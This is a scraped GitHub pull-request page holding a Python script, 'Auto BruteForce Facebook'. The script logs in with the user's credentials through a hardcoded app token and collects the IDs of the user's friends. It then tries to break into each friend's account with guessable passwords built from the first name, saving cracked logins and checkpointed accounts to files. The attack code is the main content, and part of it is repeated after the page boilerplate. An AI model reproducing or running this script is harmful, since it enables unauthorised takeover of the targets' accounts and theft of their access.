kontol.py#2
Open
Kitket4 wants to merge 1 commit into
Open
Conversation
# Dilarang Keras Untuk Memperjual belikan tools iini
# Copyright: Deray
# Ask me on facebook: facebook.com/achmad.luthfi.hadi.3
# rebuild copyright can't make u real programmer :)
import os
import sys
import bs4
import random
import requests
from data import cache
from data.color import *
from getpass import getpass
from multiprocessing.pool import ThreadPool
W = '\033[1;37m'
N = '\033[0m'
R = '\033[1;37m\033[31m'
B = '\033[1;37m\033[34m'
G = '\033[1;32m'
O = '\033[33m'
C = '\033[36m'
print("\t[ Auto BruteForce Facebook ]")
print("\t [ coded By deray ]\n")
def ngontol():
if os.path.exists("checkpoint.txt"):
if os.path.getsize("checkpoint.txt") !=0:
cek=raw_input('%s[!]%s file exists: %scheckpoint.txt%s\n%s[?]%s replace? y/n): '%(R,N,B,N,R,N)).lower()
if cek == "y":
open("checkpoint.txt","w").close()
else:
open("checkpoint.txt","w").close()
else:
open("checkpoint.txt","w").close()
if os.path.exists("multiresult.txt"):
if os.path.getsize("multiresult.txt") !=0:
cek=raw_input('%s[!]%s file exists: %smultiresult.txt%s\n%s[?]%s replace? y/n): '%(R,N,B,N,R,N)).lower()
if cek == "y":
open("multiresult.txt","w").close()
else:
open("multiresult.txt","w").close()
else:
open("multiresult.txt","w").close()
class autoBrute:
def __init__(self):
ngontol()
self.loop=0
self.target=[]
self.found=[]
self.cp=[]
self.i="https://mbasic.facebook.com/{}"
self.a="https://graph.facebook.com/{}"
self.gen()
def gen(self):
self.r=requests.get("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email={}&locale=en_US&password={}&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6".format(raw_input("[?] email: "),getpass("[?] passs: "))).json()
try:
self.token=self.r["access_token"]
except:
exit("%s[!]%s failed when generate access token."%(R,N))
print("%s[*]%s grabbing id ..."%(G,N))
for x in requests.get(self.a.format(
"me/friends?access_token=%s"%(
self.token))).json()["data"]:
self.target.append(x["id"])
p=ThreadPool(input("[?] Enter Threads (int): "))
p.map(self.k,self.target)
self.panggil()
def panggil(self):
if len(self.found) !=0:
print("\n\n%s[*]%s found: %s"%(G,N,len(
self.found)))
for x in self.found:
print("%s[*]%s %s"%(G,N,x))
print("\n%s[*]%s output: multiresult.txt"%(
G,N))
if len(self.cp) !=0:
print("\n\n%s[*]%s checkpoint: %s"%(G,N,len(
self.cp)))
for x in self.cp:
print("%s[*]%s %s"%(G,N,x))
print("\n%s[*]%s output: checkpoint.txt"%(
G,N))
if len(self.found) ==0 and len(self.cp) ==0:
print("\n%s[:(]%s no result found."%(R,N))
def k(self,target):
self.user=requests.get(self.a.format(
target+"?access_token=%s"%(
self.token))).json()["first_name"]
for x in [self.user+"123",self.user+"12345"]:
r=requests.post(self.i.format("login"),
data=
{
"email":target,
"pass":x
}
).url
if "save-device" in r or "m_sess" in r:
open("multiresult.txt","a").write(
"%s|%s\n"%(target,x))
self.found.append("%s|%s"%(target,x))
break
if "checkpoint" in r or "challange" in r:
self.cp.append("%s|%s"%(target,x))
open("checkpoint.txt","a").write(
"%s|%s\n"%(target,x))
break
self.loop+=1
print("\r[%s] Cracking %s/%s found-:%s%s%s "%(
len(self.cp),self.loop,len(self.target),
G,len(self.found),N)),;sys.stdout.flush()
autoBrute()
Author
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Copyright: Deray
Ask me on facebook: facebook.com/achmad.luthfi.hadi.3
rebuild copyright can't make u real programmer :)
import os
import sys
import bs4
import random
import requests
from data import cache
from data.color import *
from getpass import getpass
from multiprocessing.pool import ThreadPool
W = '\033[1;37m'
N = '\033[0m'
R = '\033[1;37m\033[31m'
B = '\033[1;37m\033[34m'
G = '\033[1;32m'
O = '\033[33m'
C = '\033[36m'
print("\t[ Auto BruteForce Facebook ]")
print("\t [ coded By deray ]\n")
def ngontol():
if os.path.exists("checkpoint.txt"):
if os.path.getsize("checkpoint.txt") !=0:
cek=raw_input('%s[!]%s file exists: %scheckpoint.txt%s\n%s[?]%s replace? y/n): '%(R,N,B,N,R,N)).lower()
if cek == "y":
open("checkpoint.txt","w").close()
else:
open("checkpoint.txt","w").close()
else:
open("checkpoint.txt","w").close()
if os.path.exists("multiresult.txt"):
if os.path.getsize("multiresult.txt") !=0:
cek=raw_input('%s[!]%s file exists: %smultiresult.txt%s\n%s[?]%s replace? y/n): '%(R,N,B,N,R,N)).lower()
if cek == "y":
open("multiresult.txt","w").close()
else:
open("multiresult.txt","w").close()
else:
open("multiresult.txt","w").close()
class autoBrute:
def init(self):
ngontol()
self.loop=0
self.target=[]
self.found=[]
self.cp=[]
self.i="https://mbasic.facebook.com/{}"
self.a="https://graph.facebook.com/{}"
self.gen()
autoBrute()